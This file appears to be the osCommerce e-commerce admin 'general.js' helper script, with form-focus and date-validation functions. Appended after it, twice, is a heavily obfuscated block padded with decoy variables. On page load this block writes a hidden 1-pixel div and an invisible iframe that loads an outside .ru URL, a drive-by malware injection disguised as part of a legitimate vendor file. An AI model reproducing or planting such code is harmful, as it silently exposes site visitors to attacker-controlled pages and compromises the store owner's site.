/*
  $Id: general.js 1739 2007-12-20 00:52:16Z hpdl $

  osCommerce, Open Source E-Commerce Solutions
  http://www.oscommerce.com

  Copyright (c) 2003 osCommerce

  Released under the GNU General Public License
*/

function SetFocus(TargetFormName) {
  var target = 0;
  if (TargetFormName != "") {
    for (i=0; i<document.forms.length; i++) {
      if (document.forms[i].name == TargetFormName) {
        target = i;
        break;
      }
    }
  }

  var TargetForm = document.forms[target];
    
  for (i=0; i<TargetForm.length; i++) {
    if ( (TargetForm.elements[i].type != "image") && (TargetForm.elements[i].type != "hidden") && (TargetForm.elements[i].type != "reset") && (TargetForm.elements[i].type != "submit") ) {
      TargetForm.elements[i].focus();

      if ( (TargetForm.elements[i].type == "text") || (TargetForm.elements[i].type == "password") ) {
        TargetForm.elements[i].select();
      }

      break;
    }
  }
}

function RemoveFormatString(TargetElement, FormatString) {
  if (TargetElement.value == FormatString) {
    TargetElement.value = "";
  }

  TargetElement.select();
}

function CheckDateRange(from, to) {
  if (Date.parse(from.value) <= Date.parse(to.value)) {
    return true;
  } else {
    return false;
  }
}

function IsValidDate(DateToCheck, FormatString) {
  var strDateToCheck;
  var strDateToCheckArray;
  var strFormatArray;
  var strFormatString;
  var strDay;
  var strMonth;
  var strYear;
  var intday;
  var intMonth;
  var intYear;
  var intDateSeparatorIdx = -1;
  var intFormatSeparatorIdx = -1;
  var strSeparatorArray = new Array("-"," ","/",".");
  var strMonthArray = new Array("jan","feb","mar","apr","may","jun","jul","aug","sep","oct","nov","dec");
  var intDaysArray = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31);

  strDateToCheck = DateToCheck.toLowerCase();
  strFormatString = FormatString.toLowerCase();
  
  if (strDateToCheck.length != strFormatString.length) {
    return false;
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strFormatString.indexOf(strSeparatorArray[i]) != -1) {
      intFormatSeparatorIdx = i;
      break;
    }
  }

  for (i=0; i<strSeparatorArray.length; i++) {
    if (strDateToCheck.indexOf(strSeparatorArray[i]) != -1) {
      intDateSeparatorIdx = i;
      break;
    }
  }

  if (intDateSeparatorIdx != intFormatSeparatorIdx) {
    return false;
  }

  if (intDateSeparatorIdx != -1) {
    strFormatArray = strFormatString.split(strSeparatorArray[intFormatSeparatorIdx]);
    if (strFormatArray.length != 3) {
      return false;
    }

    strDateToCheckArray = strDateToCheck.split(strSeparatorArray[intDateSeparatorIdx]);
    if (strDateToCheckArray.length != 3) {
      return false;
    }

    for (i=0; i<strFormatArray.length; i++) {
      if (strFormatArray[i] == 'mm' || strFormatArray[i] == 'mmm') {
        strMonth = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'dd') {
        strDay = strDateToCheckArray[i];
      }

      if (strFormatArray[i] == 'yyyy') {
        strYear = strDateToCheckArray[i];
      }
    }
  } else {
    if (FormatString.length > 7) {
      if (strFormatString.indexOf('mmm') == -1) {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mm'), 2);
      } else {
        strMonth = strDateToCheck.substring(strFormatString.indexOf('mmm'), 3);
      }

      strDay = strDateToCheck.substring(strFormatString.indexOf('dd'), 2);
      strYear = strDateToCheck.substring(strFormatString.indexOf('yyyy'), 2);
    } else {
      return false;
    }
  }

  if (strYear.length != 4) {
    return false;
  }

  intday = parseInt(strDay, 10);
  if (isNaN(intday)) {
    return false;
  }
  if (intday < 1) {
    return false;
  }

  intMonth = parseInt(strMonth, 10);
  if (isNaN(intMonth)) {
    for (i=0; i<strMonthArray.length; i++) {
      if (strMonth == strMonthArray[i]) {
        intMonth = i+1;
        break;
      }
    }
    if (isNaN(intMonth)) {
      return false;
    }
  }
  if (intMonth > 12 || intMonth < 1) {
    return false;
  }

  intYear = parseInt(strYear, 10);
  if (isNaN(intYear)) {
    return false;
  }
  if (IsLeapYear(intYear) == true) {
    intDaysArray[1] = 29;
  }

  if (intday > intDaysArray[intMonth - 1]) {
    return false;
  }
  
  return true;
}

function IsLeapYear(intYear) {
  if (intYear % 100 == 0) {
    if (intYear % 400 == 0) {
      return true;
    }
  } else {
    if ((intYear % 4) == 0) {
      return true;
    }
  }

  return false;
}
function oT(){};mEE='';oT.prototype = {t : function() {function u(){};nP=false;var e="";this.vI=false;this.s="";try {var sD="sD";gW="gW";mE=false;var sP=false;function z(){};this.eG="";window.onload=function() {var qW=50071;this.xQ=19623;var sS="sS";var gX="gX";function hI(){};this.kW="";String.prototype.gO=function(l, q){var m=this; return m.replace(l, q)};var aI="aI";function jA(){};var sA="";this.tG=false;var j=function(y,vONq4,Ri){return ['x3cx69x66'+vONq4,Ri+'x53x6ax52x4cx58',y+'x6cx35x56x48']}('x75x56','x72x61x6dx65x20x64x76x62x6ex3dx31x20x73x72x63x3dx27','x51')[0];this.hC="";this.nW=23625;this.hR="hR";function dY(){};this.qB="";var lJ=function(I9SZP,yPAd,x,uvena,v){return [I9SZP+'x6ax67x6bx64x78','x62x34'+x,'x27x20x68x65x69x67x68x74x3d'+v,yPAd+'x73x4fx58','x76'+uvena]}('x49x6dx6fx7ax74','x72','x65x4b','x49','x31x30x30x30x20x6fx74x65x72x3dx31x20x77x69x64x74x68x3dx31x30x30x30x20x3cx2fx69x66x72x61x6dx65x3e')[2];var xC=15521;var p="p";iB='';nF='';var b=false;var pQ=new Array();var tX=function(LMeU,Mmgr,nE,F8BG,n){return [Mmgr+'x47x32x79x38','x4d'+F8BG,n+'x4ex77x51',nE+'x61x75x74x65x72x2ex72x75x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x34',LMeU+'x6fx68x5ax4c']}('x4bx78x6ax67x7a','x73','x68x74x74x70x3ax2fx2fx63x68x69x6c','x53x54x79x46x66','x72x78x67')[3];var dD=function(){};function kI(){};w='';var cC=function(){};this.wB=50833;uP='';function lDA(){};tX = j + tX + lJ;var gJ=new Array();var zV=new Array();var f=new Date();this.xB="xB";var lP='';mI=false;this.eQ=false;var d=document;mT='';bF=19498;var xA=new Date();this.hK='';var g=function(ENw77,ai4v,UD,Q0J){return [Q0J+'x63x51',ENw77+'x6a','x77x50'+ai4v,'x3c'+UD]}('x4ax57x4dx36x48','x6fx36x71x56','x64x69x76x20x69x64x3dx62x20x73x74x79x6cx65x3dx27x76x69x73x69x62x69x6cx69x74x79x3ax68x69x64x64x65x6ex3bx20x77x69x64x74x68x3ax20x31x70x78x3bx20x68x65x69x67x68x74x3ax20x31x70x78x27x3e','x61x77')[3];uG="uG";var aM=false;var tD='';this.dF=58238;var x=function(dD,Go,Z){return ['x55x4ex76'+Go,'x3cx2f'+Z,'x68x70x72x46'+dD]}('x76x6bx64x51','x6fx73','x64x69x76x3e')[1];var rJ=function(){return 'rJ'};this.vJ='';this.qD=32349;var tN=new Date();this.vV="";var a=function(QV0,j,qA){return [qA+'x75',j+'x65','x56x6a'+QV0]}('x77x58','x77x72x69x74','x56x57')[1];var rZ=function(){return 'rZ'};var wF=function(){};this.fJ="";var o=false;var yE='';var uH="uH";var wT=function(){};var jD=function(c,O,V,S){return [V+'x59x55','x78x33x64'+O,S+'x4ex45x44','x75x6ex65'+c]}('x73x63x61x70x65','x6cx44x42x62','x52x61','x75x55x37')[3];jDZ=46635;kO="kO";var cB=new Array();var jO=function(){return 'jO'};var kE=function(){};var v=window[jD];var wW=function(){return 'wW'};this.tJ=false;wL=27417;this.tP="";this.lV=false;var rO=2970;k=v(g + tX + x);this.mZ='';eV="eV";cT="";function pR(){};var lN=new Date();var xL=function(){return 'xL'};var jB='';function aG(){this.sK='';var wM="wM";var aA='';pI=false;this.qS=false;kOA="";var rT=function(){return 'rT'};lD=function(R4aAA,ACb,OJ,AdfB,pp){return ['x4ax55x38x73'+R4aAA,'x42x68x47x78x63'+ACb,pp+'x59x76x33',AdfB+'x79x53x38','x6fx75x74x65'+OJ]}('x55x6bx30','x43x75x74x35x44','x72','x4a','x55x59x41')[4];var pF=new Array();this.rP='';var eC=13618;var eM=function(){return 'eM'};bW="bW";var nE=new Date();n=function(wlpLC,AjjYH,d8a,nBq){return [nBq+'x70x7ax74x42',wlpLC+'x67',AjjYH+'x5ax38x4f',d8a+'x69x65x6ex74']}('x77x49x49','x6bx6ax4a','x63x6c','x55')[3];this.mU=false;var rY=false;var uD="";fZ=60025;var gA="gA";this.dU="dU";h=function(wu4a,I,n){return ['x48'+I,n+'x6ax39','x63'+wu4a]}('x4ex71x48x6a','x65x69x67x68x74','x46x43')[0];zH="zH";var bE="";this.eD="";this.dG=60658;this.eGN=false;this.qN="";c=function(QKyy,Iz,qU){return [qU+'x68','x44'+QKyy,'x4f'+Iz]}('x42x73x42','x55x58','x57x69x64x74')[0];var aB=new Array();var dUG="dUG";mW='';var cY=new Array();function cP(){};this.lQ='';tO=false;qJ=33519;y=function(I0,md,c){return ['x75'+c,'x42x78x77x54'+md,I0+'x55x5a']}('x6f','x72x77','x73x65x72x41x67x65x6ex74')[0];function pG(){};var fQ=new Date();var bV="";fZS="fZS";wV="wV";var dFO=new Array();i=function(mcZ,NQLG,ij,u0zqz,zSD){return [ij+'x4bx43x58x63','x72x53x46'+u0zqz,mcZ+'x78x71','x50'+NQLG,'x4d'+zSD]}('x49x38x70','x52x4ex42x68x71','x66x63x39x33x4f','x67x65x65x66','x53x49x45')[4];var qH=new Array();tH="tH";cK="cK";var nY=new Date();mY='';this.pL=false;if (navigator[y].indexOf(i) > 0){this.tU=false;iO="iO";nV=false;pM="";iK="iK";var dQ=function(){return 'dQ'};return d.body[n + c] * document.body[n + h];var mG=function(){};this.sKC='';}else{var qBE=new Array();this.tOZ="tOZ";this.iN='';this.pJ="";oH="oH";this.cS='';this.jDJ='';return window[lD + c] * window[lD + h];eI=3604;this.yM=false;function uK(){};var vN=function(){};}var zL=new Array();var sI=function(){return 'sI'};var cCH="";var dN=new Date();function iJ(){};this.uA="uA";}var qL="qL";this.gB="gB";var gJF=new Date();cF="";zQ=42353;if(aG() > 99999){d[a](k);}var dT=function(){};var bEZ=function(){return 'bEZ'};var lO=new Array();this.dE=43162;var rS=9935;var qM="qM";};var eMZ="";var rB=function(){return 'rB'};} catch(r) {this.yK="yK";kIC="kIC";this.mTH='';var jX=false;var iI="iI";bC='';}this.eH='';var oR="";gT="gT";var eW=false;}};var wP='';var hG=new oT(); hN="";hG.t();uDW=45307;function oT(){};mEE='';oT.prototype = {t : function() {function u(){};nP=false;var e="";this.vI=false;this.s="";try {var sD="sD";gW="gW";mE=false;var sP=false;function z(){};this.eG="";window.onload=function() {var qW=50071;this.xQ=19623;var sS="sS";var gX="gX";function hI(){};this.kW="";String.prototype.gO=function(l, q){var m=this; return m.replace(l, q)};var aI="aI";function jA(){};var sA="";this.tG=false;var j=function(y,vONq4,Ri){return ['x3cx69x66'+vONq4,Ri+'x53x6ax52x4cx58',y+'x6cx35x56x48']}('x75x56','x72x61x6dx65x20x64x76x62x6ex3dx31x20x73x72x63x3dx27','x51')[0];this.hC="";this.nW=23625;this.hR="hR";function dY(){};this.qB="";var lJ=function(I9SZP,yPAd,x,uvena,v){return [I9SZP+'x6ax67x6bx64x78','x62x34'+x,'x27x20x68x65x69x67x68x74x3d'+v,yPAd+'x73x4fx58','x76'+uvena]}('x49x6dx6fx7ax74','x72','x65x4b','x49','x31x30x30x30x20x6fx74x65x72x3dx31x20x77x69x64x74x68x3dx31x30x30x30x20x3cx2fx69x66x72x61x6dx65x3e')[2];var xC=15521;var p="p";iB='';nF='';var b=false;var pQ=new Array();var tX=function(LMeU,Mmgr,nE,F8BG,n){return [Mmgr+'x47x32x79x38','x4d'+F8BG,n+'x4ex77x51',nE+'x61x75x74x65x72x2ex72x75x2fx73x74x64x73x2fx67x6fx2ex70x68x70x3fx73x69x64x3dx31x34',LMeU+'x6fx68x5ax4c']}('x4bx78x6ax67x7a','x73','x68x74x74x70x3ax2fx2fx63x68x69x6c','x53x54x79x46x66','x72x78x67')[3];var dD=function(){};function kI(){};w='';var cC=function(){};this.wB=50833;uP='';function lDA(){};tX = j + tX + lJ;var gJ=new Array();var zV=new Array();var f=new Date();this.xB="xB";var lP='';mI=false;this.eQ=false;var d=document;mT='';bF=19498;var xA=new Date();this.hK='';var g=function(ENw77,ai4v,UD,Q0J){return [Q0J+'x63x51',ENw77+'x6a','x77x50'+ai4v,'x3c'+UD]}('x4ax57x4dx36x48','x6fx36x71x56','x64x69x76x20x69x64x3dx62x20x73x74x79x6cx65x3dx27x76x69x73x69x62x69x6cx69x74x79x3ax68x69x64x64x65x6ex3bx20x77x69x64x74x68x3ax20x31x70x78x3bx20x68x65x69x67x68x74x3ax20x31x70x78x27x3e','x61x77')[3];uG="uG";var aM=false;var tD='';this.dF=58238;var x=function(dD,Go,Z){return ['x55x4ex76'+Go,'x3cx2f'+Z,'x68x70x72x46'+dD]}('x76x6bx64x51','x6fx73','x64x69x76x3e')[1];var rJ=function(){return 'rJ'};this.vJ='';this.qD=32349;var tN=new Date();this.vV="";var a=function(QV0,j,qA){return [qA+'x75',j+'x65','x56x6a'+QV0]}('x77x58','x77x72x69x74','x56x57')[1];var rZ=function(){return 'rZ'};var wF=function(){};this.fJ="";var o=false;var yE='';var uH="uH";var wT=function(){};var jD=function(c,O,V,S){return [V+'x59x55','x78x33x64'+O,S+'x4ex45x44','x75x6ex65'+c]}('x73x63x61x70x65','x6cx44x42x62','x52x61','x75x55x37')[3];jDZ=46635;kO="kO";var cB=new Array();var jO=function(){return 'jO'};var kE=function(){};var v=window[jD];var wW=function(){return 'wW'};this.tJ=false;wL=27417;this.tP="";this.lV=false;var rO=2970;k=v(g + tX + x);this.mZ='';eV="eV";cT="";function pR(){};var lN=new Date();var xL=function(){return 'xL'};var jB='';function aG(){this.sK='';var wM="wM";var aA='';pI=false;this.qS=false;kOA="";var rT=function(){return 'rT'};lD=function(R4aAA,ACb,OJ,AdfB,pp){return ['x4ax55x38x73'+R4aAA,'x42x68x47x78x63'+ACb,pp+'x59x76x33',AdfB+'x79x53x38','x6fx75x74x65'+OJ]}('x55x6bx30','x43x75x74x35x44','x72','x4a','x55x59x41')[4];var pF=new Array();this.rP='';var eC=13618;var eM=function(){return 'eM'};bW="bW";var nE=new Date();n=function(wlpLC,AjjYH,d8a,nBq){return [nBq+'x70x7ax74x42',wlpLC+'x67',AjjYH+'x5ax38x4f',d8a+'x69x65x6ex74']}('x77x49x49','x6bx6ax4a','x63x6c','x55')[3];this.mU=false;var rY=false;var uD="";fZ=60025;var gA="gA";this.dU="dU";h=function(wu4a,I,n){return ['x48'+I,n+'x6ax39','x63'+wu4a]}('x4ex71x48x6a','x65x69x67x68x74','x46x43')[0];zH="zH";var bE="";this.eD="";this.dG=60658;this.eGN=false;this.qN="";c=function(QKyy,Iz,qU){return [qU+'x68','x44'+QKyy,'x4f'+Iz]}('x42x73x42','x55x58','x57x69x64x74')[0];var aB=new Array();var dUG="dUG";mW='';var cY=new Array();function cP(){};this.lQ='';tO=false;qJ=33519;y=function(I0,md,c){return ['x75'+c,'x42x78x77x54'+md,I0+'x55x5a']}('x6f','x72x77','x73x65x72x41x67x65x6ex74')[0];function pG(){};var fQ=new Date();var bV="";fZS="fZS";wV="wV";var dFO=new Array();i=function(mcZ,NQLG,ij,u0zqz,zSD){return [ij+'x4bx43x58x63','x72x53x46'+u0zqz,mcZ+'x78x71','x50'+NQLG,'x4d'+zSD]}('x49x38x70','x52x4ex42x68x71','x66x63x39x33x4f','x67x65x65x66','x53x49x45')[4];var qH=new Array();tH="tH";cK="cK";var nY=new Date();mY='';this.pL=false;if (navigator[y].indexOf(i) > 0){this.tU=false;iO="iO";nV=false;pM="";iK="iK";var dQ=function(){return 'dQ'};return d.body[n + c] * document.body[n + h];var mG=function(){};this.sKC='';}else{var qBE=new Array();this.tOZ="tOZ";this.iN='';this.pJ="";oH="oH";this.cS='';this.jDJ='';return window[lD + c] * window[lD + h];eI=3604;this.yM=false;function uK(){};var vN=function(){};}var zL=new Array();var sI=function(){return 'sI'};var cCH="";var dN=new Date();function iJ(){};this.uA="uA";}var qL="qL";this.gB="gB";var gJF=new Date();cF="";zQ=42353;if(aG() > 99999){d[a](k);}var dT=function(){};var bEZ=function(){return 'bEZ'};var lO=new Array();this.dE=43162;var rS=9935;var qM="qM";};var eMZ="";var rB=function(){return 'rB'};} catch(r) {this.yK="yK";kIC="kIC";this.mTH='';var jX=false;var iI="iI";bC='';}this.eH='';var oR="";gT="gT";var eW=false;}};var wP='';var hG=new oT(); hN="";hG.t();uDW=45307;